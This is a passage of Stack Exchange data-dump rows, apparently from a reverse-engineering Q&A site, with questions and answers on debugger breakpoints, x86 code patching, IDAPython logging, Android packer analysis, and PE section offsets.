  <row Id="21011" PostTypeId="1" AcceptedAnswerId="21013" CreationDate="2019-03-31T17:55:52.117" Score="1" ViewCount="1612" Body="&lt;p&gt;I am trying to solve a GUI based crackme. &lt;a href=&quot;https://crackmes.one/crackme/5c68758633c5d4776a837cc4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://crackmes.one/crackme/5c68758633c5d4776a837cc4&lt;/a&gt; so that I learn security. I want to set a conditional Break point on &lt;code&gt;user32.CallWindowProcA&lt;/code&gt;. &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-callwindowproca&quot; rel=&quot;nofollow noreferrer&quot;&gt;Microsoft Documents this function&lt;/a&gt; as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LRESULT CallWindowProcA(&#xA;  WNDPROC lpPrevWndFunc,&#xA;  HWND    hWnd,&#xA;  UINT    Msg,&#xA;  WPARAM  wParam,&#xA;  LPARAM  lParam&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I set the following conditional break points for &lt;a href=&quot;https://wiki.winehq.org/List_Of_Windows_Messages&quot; rel=&quot;nofollow noreferrer&quot;&gt;WM_LBUTTONDOWN (0x202)&lt;/a&gt; as follows. But they are not being hit when I click the button :( help&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Type     Address  Module/Label/ State   Disassembly                            Hits Summary                                              &#xA;Software                                                                            &#xA;         0041A995 crackme-4.exe Enabled push ebp                               3255 sub_41a995 ?dialogProc?, breakif(arg.get(1) == 0x202)&#xA;         0041B9A2 crackme-4.exe Enabled call dword ptr ds:[&amp;lt;&amp;amp;CallWindowProcA&amp;gt;] 1713 breakif((1:[esp+0xc] == 0x202) )&#xA;         0041F086 crackme-4.exe Enabled call dword ptr ds:[&amp;lt;&amp;amp;CallWindowProcA&amp;gt;] 0    breakif((1:[esp+0xc] == 0x202))&#xA;         0041F11B crackme-4.exe Enabled call dword ptr ds:[&amp;lt;&amp;amp;CallWindowProcA&amp;gt;] 273  breakif((1:[esp+0xc] == 0x202))&#xA;         00437E9E crackme-4.exe Enabled mov byte ptr ss:[ebp-4],21             0    &#xA;         749055C0 user32.dll    Enabled mov edi,edi                            636  breakif(arg.get(1) == 0x202)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have read through and tried &#xA;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/20411/x64dbg-conditional-breakpoint-based-on-function-argument&quot;&gt;x64dbg - Conditional breakpoint based on function argument&lt;/a&gt; but i could not get it to work for me.&lt;/p&gt;&#xA;" OwnerUserId="8594" LastActivityDate="2019-03-31T19:45:48.040" Title="x64dbg how to set conditional breakpoint on WinAPI function" Tags="|x64dbg|breakpoint|winapi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21012" PostTypeId="1" AcceptedAnswerId="21018" CreationDate="2019-03-31T19:15:59.000" Score="1" ViewCount="201" Body="&lt;p&gt;I have the following Assembler Code in a x86 Program and I need to modify it as it is buggy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fld     ds:(flt_203B8 - 29C48h)[ebx]&#xA;fdivr   dword ptr [esi+44h]&#xA;fmul    ds:(flt_203BC - 29C48h)[ebx]&#xA;fisttp  [ebp+var_334]&#xA;mov     eax, [ebp+var_334]&#xA;cmp     eax, 0Fh&#xA;jg      short greater&#xA;&#xA;test    eax, eax&#xA;mov     edx, 0&#xA;cmovs   eax, edx&#xA;jmp     short valueWithinLimits&#xA;&#xA;&#xA;greater:&#xA;mov     eax, 0Fh&#xA;&#xA;valueWithinLimits:&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Pseudocode this is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v29 = (signed int)(*(float *)(v3 + 68) / 40.0 * 15.0);&#xA;if ( v29 &amp;gt; 15 )&#xA;{&#xA;  v29 = 15;&#xA;}&#xA;else if ( v29 &amp;lt; 0 )&#xA;{&#xA;  v29 = 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to insert the following line as second line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v29 = 15 - v29;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can do that without needing any more space? I assume no but maybe someone has a smart Idea here what can be done in this case.&lt;/p&gt;&#xA;" OwnerUserId="27992" LastEditorUserId="27992" LastEditDate="2019-04-03T15:41:19.383" LastActivityDate="2019-04-03T17:19:48.907" Title="Modify formula by adding a subtraction" Tags="|x86|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21013" PostTypeId="2" ParentId="21011" CreationDate="2019-03-31T19:45:48.040" Score="2" Body="&lt;p&gt;I had the same issue some time ago, updating to the latest x64dbg version solved that problem.&#xA;You also have to set bps like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[esp+0xC] == 0x202&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user27990" LastActivityDate="2019-03-31T19:45:48.040" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21014" PostTypeId="2" ParentId="20997" CreationDate="2019-03-31T21:57:21.900" Score="6" Body="&lt;p&gt;In the past I've had issues editing the IL code during run time, especially if the method had already been compiled by the JIT Compiler, and the most full proof way I found was to patch it during run time was to edit the x86/x86_64(or whatever architecture you're running) generated by the JIT Compiler which is located at the pointer given by &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MethodInfo.MethodHandle.GetFunctionPointer()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but you need to make sure the target function is already compiled by either calling it or using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RuntimeHelpers.PrepareMethod(MethodHandle)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From there you can either utilize unsafe code blocks or Marshal to copy your own x86 bytecode (for example a jump to the function you want to replace with)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do however recommend you to use, or at least to take a look at, &lt;a href=&quot;https://github.com/pardeike/Harmony&quot; rel=&quot;noreferrer&quot;&gt;Harmony&lt;/a&gt; which is a library utilized by multiple games to support mods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the reason why you're unable to utilize the library after removing the strong name it might be due to the fact that the application utilizing the library is 'linked' by the strong name and without it the load fails.&lt;/p&gt;&#xA;" OwnerUserId="27994" LastActivityDate="2019-03-31T21:57:21.900" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21015" PostTypeId="2" ParentId="21001" CreationDate="2019-04-01T07:21:12.897" Score="1" Body="&lt;p&gt;I assume you used  &lt;a href=&quot;https://github.com/laginimaineb/unify_trustlet&quot; rel=&quot;nofollow noreferrer&quot;&gt;this script&lt;/a&gt; during your research. Please note the script is Little Endian architecture oriented. Can you double check endianness in your examples? &lt;/p&gt;&#xA;" OwnerUserId="24877" LastActivityDate="2019-04-01T07:21:12.897" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21016" PostTypeId="2" ParentId="21012" CreationDate="2019-04-01T13:48:46.723" Score="0" Body="&lt;p&gt;Actually your assembler code isn't complete. It matches to next pseodocode:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;v29 = (signed int)(*(float *)(v3 + 68) / 40.0 * 15.0);&lt;br&gt;&#xA;  if ( v29 &gt; 15 ) &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="24877" LastActivityDate="2019-04-01T13:48:46.723" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21017" PostTypeId="1" CreationDate="2019-04-01T17:39:57.187" Score="0" ViewCount="141" Body="&lt;p&gt;Im reverse engineering a Keyborard RGB LED Control Software and there is a Library called &quot;HidServ.dll&quot; that seems to be the interface between the Keyboard and the Software. Every Function of that Library is called like this for example:&#xA;(This is my translation of the assembler code, the function names are not the real ones)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int arghash1 = ArgHash(0, arg1, arg1len);&#xA;int arghash2 = ArgHash(ahash1, arg2, arg2len);&#xA;int arghash3 = ArgHash(ahash2, arg3, arg3len);&#xA;&#xA;int count = HidServ.RequestGetDeviceCount(arg1, arg2, arg3, arghash3, 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems to compute some kind of hash of the first 3 arguments. Heres the the ArgHash function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public unsafe static int ArgHash(int startvalue, byte* argumentPtr, int length)&#xA;{&#xA;&#xA;    for (int i = 0; i &amp;lt; length; i++)&#xA;    {&#xA;        startvalue += cryptarray[*(argumentPtr + i)];&#xA;    }&#xA;&#xA;    return startvalue;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So basically the function adds together the values of cryptarray on the indexes of the values of each byte of an argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cryptarray is 256 bytes long and looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private static byte[] cryptarray = new byte[]&#xA;    {&#xA;        0xFD, 0x86, 0xD1, 0xCA, 0xDB, 0xD5, 0xCC, 0x5E, 0x02, 0x0E, 0xE0, 0xB6, 0xA9, 0xF7, 0x6D, 0xA8,&#xA;        0xE2, 0x77, 0x0D, 0x09, 0xFE, 0x3D, 0x9A, 0x0B, 0x28, 0x85, 0xDC, 0xC3, 0x52, 0x48, 0x00, 0x01,&#xA;        0xBE, 0x79, 0x51, 0xFF, 0xB7, 0x83, 0xA2, 0x14, 0x10, 0x20, 0x82, 0xED, 0xD9, 0x16, 0x43, 0x4F,&#xA;        0x1C, 0x90, 0xC6, 0xD8, 0xBF, 0x56, 0x0C, 0x5C, 0xAA, 0xD3, 0x95, 0x0A, 0x73, 0x21, 0x67, 0xEB,&#xA;        0xDD, 0xA4, 0x8E, 0x26, 0xB8, 0xF2, 0xE8, 0x25, 0x1F, 0x59, 0x66, 0x1D, 0x61, 0x1E, 0xBB, 0xE5,&#xA;        0x99, 0xC5, 0x8F, 0xBC, 0xA6, 0xEE, 0x33, 0xB0, 0x53, 0x89, 0xD0, 0x2E, 0xC7, 0x88, 0xCE, 0x45,&#xA;        0x4C, 0xB2, 0x23 ,0x76, 0xB1, 0xF0, 0xF8, 0xCD, 0xFC, 0x06, 0x19, 0x29, 0x37, 0x98, 0x7E, 0x22,&#xA;        0xA7, 0xDA, 0x32, 0x60, 0x08, 0x8C, 0x24, 0x8A, 0x84, 0xC4, 0x4A, 0x12, 0x70, 0xB9, 0x49, 0x74,&#xA;        0x30, 0xE1, 0x2A, 0x4E, 0x2D, 0x4B, 0x7C, 0x5F, 0x71, 0xC8, 0x04, 0x41, 0x81, 0x63, 0x3F, 0xF3,&#xA;        0x6C, 0xF1, 0x8D, 0x9B, 0x6E, 0xAD, 0x6F, 0xB3, 0x38, 0x54, 0x2C, 0x87, 0x64, 0x7B, 0x0F, 0xC9,&#xA;        0xFA, 0xC0, 0xDF, 0xFB, 0xF4, 0xD7, 0x07, 0x92, 0x69, 0xC2, 0x7D, 0x1B, 0x80, 0x68, 0xB4, 0x15,&#xA;        0x47, 0x50, 0x57, 0x39, 0x3B, 0x2B, 0x5A, 0xD4, 0x13, 0x6B, 0xB5, 0x3E, 0x1A, 0xE3, 0x9D, 0xF9,&#xA;        0x17, 0x35, 0x46, 0x78, 0x75, 0xA5, 0x6A, 0x55, 0x9C, 0x4D, 0xEC, 0xA3, 0x36, 0x31, 0xE9, 0xF6,&#xA;        0x62, 0xEF, 0x40, 0xC1, 0xBD, 0x94, 0x3A, 0x96, 0x11, 0x97, 0x7F, 0x72, 0x9E, 0x7A, 0xBA, 0xE6,&#xA;        0xCF, 0xAF, 0x18, 0x44, 0xEA, 0x03, 0x9F, 0x2F, 0x93, 0xCB, 0x8B, 0xD6, 0xE4, 0x58, 0x5D, 0xA1,&#xA;        0x27, 0xE7, 0xAC, 0x91, 0xAB, 0x34, 0x3C, 0x05, 0xAE, 0x5B, 0x42, 0x65, 0xA0, 0xF5, 0xD2, 0xDE&#xA;    };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know which Encryption algorythm this is? Is it the USB CRC5 Algorythm?&lt;/p&gt;&#xA;" OwnerUserId="26893" LastActivityDate="2019-04-01T17:39:57.187" Title="Does anyone recognise following (USB,HID?) encoding method?" Tags="|cryptography|usb|hash-functions|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21018" PostTypeId="2" ParentId="21012" CreationDate="2019-04-01T18:29:57.423" Score="1" Body="&lt;p&gt;It's hard to say, since you didn't post the entire assembly related to the pseudocode. It seems however, that the &quot;if&quot; block is implemented via jumps. In that case, you may use &lt;a href=&quot;https://www.jaist.ac.jp/iscenter-new/mpc/altix/altixdata/opt/intel/vtune/doc/users_guide/mergedProjects/analyzer_ec/mergedProjects/reference_olh/mergedProjects/instructions/instruct32_hh/vc35.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;conditional moves&lt;/a&gt; instead. For example, assuming that &quot;if&quot; block is implemented like this (uses 28 bytes):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  cmp eax, 0Fh&#xA;  jg greater&#xA;  cmp eax, 0&#xA;  jl less&#xA;  jmp continue&#xA;less:&#xA;  mov [ebp+var_334], 0&#xA;  jmp continue&#xA;greater:&#xA;  mov [ebp+var_334], 0Fh&#xA;continue:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may implement it like below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  mov ebx, 0Fh&#xA;  cmp eax, 0Fh&#xA;  cmovg eax, ebx&#xA;  xor ebx, ebx&#xA;  cmp eax, 0&#xA;  cmovl eax, ebx&#xA;  mov [ebp+var_334], eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This implementation uses 22 bytes, which is 6 bytes lower than the previous one - exactly the space you need to insert fsubr instruction to compute 15 - st(0) before storing the result in v29.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider this implementation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  xor ebx, ebx    ; ebx = 0&#xA;  mov bl, 15      ; ebx = 15&#xA;  neg eax         ; eax = -eax&#xA;  add eax, ebx    ; eax = 15 - eax&#xA;  cmp eax, ebx    &#xA;  cmovg eax, ebx&#xA;  xor ebx, ebx&#xA;  test eax, eax&#xA;  cmovs eax, ebx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's even shorter (occupies 20 bytes), does the whole job and doesn't require additional operations on floats.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-04-03T17:19:48.907" LastActivityDate="2019-04-03T17:19:48.907" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21019" PostTypeId="1" CreationDate="2019-04-02T08:13:16.300" Score="5" ViewCount="5956" Body="&lt;p&gt;I want to record the value of a certain register or specific memory location when the program is being debugged.&#xA;e.g. in the following segment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0FD6268D                 shr     ecx, 4&#xA;.text:0FD62690                 and     esi, 0Fh&#xA;.text:0FD62693                 movzx   ecx, ds:byte_FF27790[ecx]&#xA;.text:0FD6269A                 mov     [edx], cl&#xA;.text:0FD6269C                 inc     dword ptr [eax]&#xA;.text:0FD6269E                 mov     edx, [eax]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a part of a function which is accessed many times and I want to print, to file, the values of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ecx @.text:0FD6268D and ds:byte_FF27790 @.text:0FD62693.&#xA;I need this printed every time the program gets there during the debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I accomplish this using idapython?&lt;/p&gt;&#xA;" OwnerUserId="25313" LastActivityDate="2019-04-02T19:55:39.830" Title="Use idapython to print register or memory value when the debugger is running" Tags="|ida|idapython|ida-plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21020" PostTypeId="1" AcceptedAnswerId="21093" CreationDate="2019-04-02T09:56:26.987" Score="0" ViewCount="1019" Body="&lt;p&gt;Recently, i have gone through some kind of win32-64 executable files which can't be decompiled under IDA (into Pseudocode). Only the Assembly Code can be read. When i try to press F5 to decompile the file,it only shows me a Diaglog Box says &quot;Positive Stack Value found&quot;.The Debugging process is still fine.It's just i can't not decompile the file into c source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder how can they do that? I mean they can make the executable unable to decompile under IDA or maybe other Disassembler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to accomplish this using other compilers such as GCC,MinGW,Clang,or even Turbo.&lt;/p&gt;&#xA;" OwnerUserId="24677" LastActivityDate="2019-04-09T10:36:11.483" Title="Unable to decompile C Code" Tags="|ida|decompilation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21022" PostTypeId="2" ParentId="21019" CreationDate="2019-04-02T13:57:37.933" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;Create two Python-functions (menu &lt;em&gt;File-Script command...&lt;/em&gt;). First for printing EAX and second - for printing memory @FF27790&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pz37E.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pz37E.png&quot; alt=&quot;Python-fuctions&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def view_ecx():&#xA;    print GetRegValue(&quot;ecx&quot;)&#xA;&#xA;def view_memory():&#xA;    print Byte(0xFF27790)    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Set breakpoints: &#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;@.text:0FD6268D&lt;/code&gt; - set condition &lt;code&gt;view_ecx()&lt;/code&gt; and choose Python-type&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;@.text:0FD62693&lt;/code&gt; - set condition &lt;code&gt;view_memory()&lt;/code&gt; and choose Python-type&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="22987" LastActivityDate="2019-04-02T13:57:37.933" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21023" PostTypeId="1" CreationDate="2019-04-02T15:06:44.757" Score="5" ViewCount="822" Body="&lt;p&gt;im trying to Reverse engineering an android app and the app have 4 folders in the &lt;strong&gt;/data/data/{package}&lt;/strong&gt; folder &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;├───app_dexprotector&#xA;│       823517D25836B88F1C499C02370A047E.dat&#xA;│       823517D25836B88F1C499C02370A047E.dex&#xA;│&#xA;├───app_outdex&#xA;│       libdexprotector.bpqn57.12456.so&#xA;│&#xA;├───cache&#xA;└───lib&#xA;        libiconv.so&#xA;        libzbarjni.so&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and all the files are the same except app_outdex file and when I start the app &lt;strong&gt;app_dexprotector&lt;/strong&gt; folder will be modified after that a file will create on app_outdex then will delete immediately I create a copy of that file with &lt;strong&gt;Termux&lt;/strong&gt; and &lt;strong&gt;inotify-wait&lt;/strong&gt; and the interesting part is always the size of the file is different i searched the java code of the app and there is only an application class with a huge bytecode array and one native method like this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public static native int tfAHDD(Object obj, int I, int i2, int i3, int i4, int i5, int i6, int i7, int i8);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the whole class is so long but it's only because of the byte array &lt;a href=&quot;https://github.com/osairon/android-native-packer/blob/master/ProtectedInitializer.java&quot; rel=&quot;noreferrer&quot;&gt;this is the link of the class&lt;/a&gt; my main questions are why the file has different sizes every time and why there are not other native methods? how the app will run this method and finally how can I analysis this .so file&lt;/p&gt;&#xA;" OwnerUserId="27450" LastActivityDate="2021-06-23T15:38:34.140" Title="Reverse engineering android native packer" Tags="|c++|android|c|java|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21024" PostTypeId="1" CreationDate="2019-04-02T18:08:06.753" Score="4" ViewCount="364" Body="&lt;p&gt;I use Gdb to trace the execution (breakpoint, single stepping, ...) of a hypervisor OS in Qemu and it works fine so far.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;qemu-system-x86_64 -enable-kvm -display sdl -cpu host -serial my: stdio -m 8192 --bios ../../tool/boot/tianocore.bin -drive format = raw, file = var / run /hypervisor.img -machine q35 -s -S&#xA;gdb path/to/hypervisor&#xA;target remote: 1234&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I need to trace the execution of a guest OS in the hypervisor, all run by Qemu. And it does not work.&#xA;Yet I added the debugging symbols files related to the OS and I also modified the architecture of the instructions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add-symbol-file ~ / Tinycore / vmlinux 0x100000&#xA;add-symbol-file bin / munich 0x18000&#xA;set architecture i386: x64_32 // because the guest OS is compiled in 32 bits&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when execution passes the instructions vmresume, vmlauch and continues in the guest OS, Gdb gets confused, single-stepping does not work anymore and breakpoints end up at uncertain addresses.&lt;br&gt;&#xA;Does anyone have an idea of ​​what I missed?&lt;br&gt;&#xA;Or is it really impossible?&lt;br&gt;&#xA;Is there another way to achieved this?&lt;br&gt;&#xA;The hypervisor I'm working on is &lt;a href=&quot;https://github.com/genodelabs/genode&quot; rel=&quot;nofollow noreferrer&quot;&gt;Genode&lt;/a&gt; and the guest OS is T&lt;a href=&quot;http://tinycorelinux.net/10.x/x86/release/src/kernel/&quot; rel=&quot;nofollow noreferrer&quot;&gt;inycore Linux&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://os.inf.tu-dresden.de/~kauer/oslo/&quot; rel=&quot;nofollow noreferrer&quot;&gt;munich&lt;/a&gt; is a 32 bits bootloader used to boot the Tinycore Linux.  &lt;/li&gt;&#xA;&lt;li&gt;hypervisor, vmlinux and munich are the binaries compiled with debugging symbols.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="22214" LastActivityDate="2019-04-02T18:08:06.753" Title="Using GDB to trace guest OS inside a hypervisor, the whole running on Qemu - kvm" Tags="|debugging|gdb|breakpoint|qemu|hypervisor|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21025" PostTypeId="1" CreationDate="2019-04-02T19:46:43.050" Score="1" ViewCount="319" Body="&lt;p&gt;I have this assembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ADRP            X8, #off_FFFFFFF006F1E960@PAGE&#xA;ADD             X8, X8, #off_FFFFFFF006F1E960@PAGEOFF&#xA;LDR             X0, [X8] ; qword_FFFFFFF0077F08A8&#xA;LDR             X8, [X0]&#xA;LDR             X8, [X8,#0x60]&#xA;BLR             X8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd like to know what is contained in X8 when BLR is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried doing &lt;code&gt;FFFFFFF006F1E960+0x60&lt;/code&gt; but it points in the middle of &lt;code&gt;unk_FFFFFFF006F1E97&lt;/code&gt;, specifically it points at the following bytes: &lt;code&gt;0x54,0x45,0x55,7,0xF0,0xFF,0xFF,0xFF...&lt;/code&gt;. I've tried converting this into code but &lt;code&gt;command MakeCode failed&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What exactly is this doing?&lt;/p&gt;&#xA;" OwnerUserId="26890" LastEditorUserId="26890" LastEditDate="2019-04-03T10:26:58.207" LastActivityDate="2021-04-23T18:05:35.630" Title="Finding function at offset loaded with ADRP/ADD" Tags="|ida|disassembly|arm|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21026" PostTypeId="2" ParentId="21019" CreationDate="2019-04-02T19:55:39.830" Score="0" Body="&lt;p&gt;Thanks, &#xA;I cam up with adding this the the BP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def view_mem_0xF3E7790():   &#xA;    opAddr = 0xF3E7790&#xA;    for byte in idc.get_bytes(opAddr, 16):&#xA;        hexChar = ord(byte)&#xA;        print chr(hexChar),&#xA;print &quot;\n&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2 questions:&#xA; 1. how can i append the result to a log rather than printing to the screen.&#xA; 2. Can i add these BP problematically somehow?, similar to idc.AddBpt(ea)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;?&lt;/p&gt;&#xA;" OwnerUserId="25313" LastActivityDate="2019-04-02T19:55:39.830" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21027" PostTypeId="1" AcceptedAnswerId="21030" CreationDate="2019-04-03T03:25:23.217" Score="2" ViewCount="666" Body="&lt;p&gt;So I'm looking for some guidance on this topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I open up my exe in a Hexeditor and go to the location where the address of the string is pushed as argument I have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;68 7C 9D F1 01 - push 01F19D7C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The string in the exe however is at 01ADC808.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have the same exe but for a different language.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;68 78 DE F0 01 - push 01F0DE78&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the string is at 01B94B0C.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at it in Ghidra for example, the address from the push instruction matches the location of the string. So currently my best guess is, that Ghidra aligns the data properly with info from the PE Header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm writing a tool that modifies that string. Patterns could be created for each version, however I'd like a rather &quot;universal&quot; way to solve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, here's the overview for the Section Headers for the first example:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KjqfA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KjqfA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to let me know if my question was not clear enough or more information is required!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any advice! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Forgot to mention the tool I'm writing is written in C#.&lt;/p&gt;&#xA;" OwnerUserId="28017" LastEditorUserId="28017" LastEditDate="2019-04-03T13:04:31.730" LastActivityDate="2019-04-03T13:55:42.903" Title="Calculating offset from push instruction in exe to string in data section" Tags="|pe|c#|offset|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21028" PostTypeId="2" ParentId="21027" CreationDate="2019-04-03T05:24:46.847" Score="1" Body="&lt;p&gt;You are right, this is because of alignment. &#xA;There are 2 types of section alignment. Alignment on disk, and alignment in memory. They usually  equal 0x400 and 0x1000 respectively. When you open exe in hexeditor, you should notice that your .text section starts at 0x400, but Ghidra shows you exe as it would be in memory, so  .text now starts at 401000 (imagebase + virtual address).&#xA;The best way to solve this problem is to use:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;CreateFileMapping, MapViewOfFile, ViewMapOfFile&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerDisplayName="user27990" LastActivityDate="2019-04-03T05:24:46.847" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21029" PostTypeId="2" ParentId="21012" CreationDate="2019-04-03T07:44:07.247" Score="0" Body="&lt;p&gt;If 40.0 and 15.0 are constants, you could remove division and only do multiplication with 0.375. Not sure how much space would this save.&lt;/p&gt;&#xA;" OwnerUserId="25138" LastActivityDate="2019-04-03T07:44:07.247" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
